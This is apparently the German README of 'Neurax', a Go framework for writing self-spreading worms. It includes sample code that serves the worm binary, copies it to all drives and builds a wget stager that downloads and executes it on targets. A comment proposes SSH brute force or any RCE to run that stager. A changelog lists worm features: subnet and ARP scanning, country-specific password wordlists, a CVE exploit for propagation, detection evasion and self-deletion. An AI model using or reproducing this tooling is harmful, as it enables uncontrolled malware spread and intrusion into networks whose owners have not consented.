Ein Framework, das die Erstellung von selbstverbreitender Software unterstützt
Überblick
Mit Hilfe von Neurax können Golang-Binärdateien ohne externe Server im LAN/WAN verbreitet werden.
Verschiedene Konfigurationsoptionen und Command Stager ermöglichen eine schnelle Ausbreitung in unterschiedlichen drahtlosen Umgebungen.
Beispielcode
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Port und Stager für die Bereitstellung festlegen
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Einen Server starten, der die aktuelle Binärdatei im Hintergrund bereitstellt
go NeuraxServer()
//Aktuelle Binärdatei auf alle logischen Laufwerke kopieren
NeuraxDisks()
//Einen Command Stager erstellen, der auf dem Zielcomputer ausgeführt werden soll
//Er lädt die Binärdatei herunter, dekodiert und führt sie aus
cmd_stager := NeuraxStager()
/* Jetzt muss der oben erzeugte Befehl auf irgendeine Weise ausgeführt werden.
Dazu kann SSH-Bruteforce, eine bestimmte RCE oder was auch immer verwendet werden ;> */
}
Neu in v. 2.X (separates Unterprojekt)
- Überarbeitung: Ansatz eines Frameworks zugunsten einer einsatzbereiten Binärdatei aufgegeben
- Generischer wget-Stager für alle UNIX-Ziele
- Einzelne Konfigurationsdatei zur dynamischen Anpassung des Wurmverhaltens
- Automatische Selbstentfernung via
unlinkat(2)
- Beispielhafter LinuxKI-CVE-Exploit zur Erweiterung der Netzwerkausbreitungsfähigkeiten
- JSON-Konfigurationsdatei wird heruntergeladen und ausgewertet
- Minimalistische Neufassung des Host-Harvesters
Neu in v. 2.5
- Optionale Hintergrundausführung der Binärdatei der zweiten Stufe (
N.StagerBg)
- Command Stager speichert und führt im kontextlokalen Pfad aus
- Entfernt die heruntergeladene Binärdatei sofort nach erfolgreicher Ausführung
- Synchronisierter Befehlsausführungsmechanismus aus Geschwindigkeits-/Stabilitätsgründen entfernt.
Vor dem nächsten Release wird eine angemessene Alternative bereitgestellt.
N.NoInfectCheck zum Deaktivieren der Überprüfung, ob der Host bereits infiziert ist.
- Einmalausführungsrichtlinie auf dem Zielcomputer, erzwungen durch eine exklusive Dateisperre innerhalb von
NeuraxServer().
- Geschachtelte Goroutine zur Bereitstellung der Binärdatei hinzugefügt
- Neuer
httrack-Stager für Linux
- Auskommentierte allgemeine Wortliste zur Erkennungsvermeidung
- Command Stager kann vor der Entfernung der Binärdatei warten (
N.StagerRemovalDelay)
Neu in v. 2.0
- Neue Wortlist-Mutatoren + gängige Passwörter nach Ländern
- Improvisiertes passives Scannen
.FastScan-Option, die aktive Scans etwas schneller macht
- Wortlisten werden strikt im Arbeitsspeicher erstellt
NeuraxScan() akzeptiert eine Callback-Funktion anstelle eines Kanals als Argument.
NeuraxScan() scannt in einer Endlosschleife mit der Möglichkeit, ein Intervall zwischen jedem Scan des gesamten Subnetzes/Pools von Zielen festzulegen
- Reverse-DNS-Lookup für Ziele, die nicht im IP-Format vorliegen
- Extraktion von Zielkandidaten aus dem ARP-Cache
- Möglichkeit, nur eine ausgewählte Liste von Zielen zu scannen + Priorisierung bestimmter Ziele (z. B. Standard-Gateways)
- Möglichkeit, Schnittstelle und Timeout bei passivem Netzwerkscan anzugeben.
- Verbesserter Command Stager (optional mit erhöhten Rechten / mehrmals ausführbar)
- Einige Änderungen an Optionsnamen
NeuraxConfig. wurde zu N. (weil es kürzer zu tippen ist)
- Funktionen für zufällige Speicherzuweisung + Binärmigration
- Möglichkeit, mehrere Stager zu verketten (z. B.
wget + curl)
- Umfang und Komplexität der erstellten Wortliste können leicht angepasst werden (mit Optionen wie
.WordlistExpand)
- Möglichkeit, eine Time-to-Live für die erstellte Binärdatei festzulegen
Liste der Konfigurationseinträge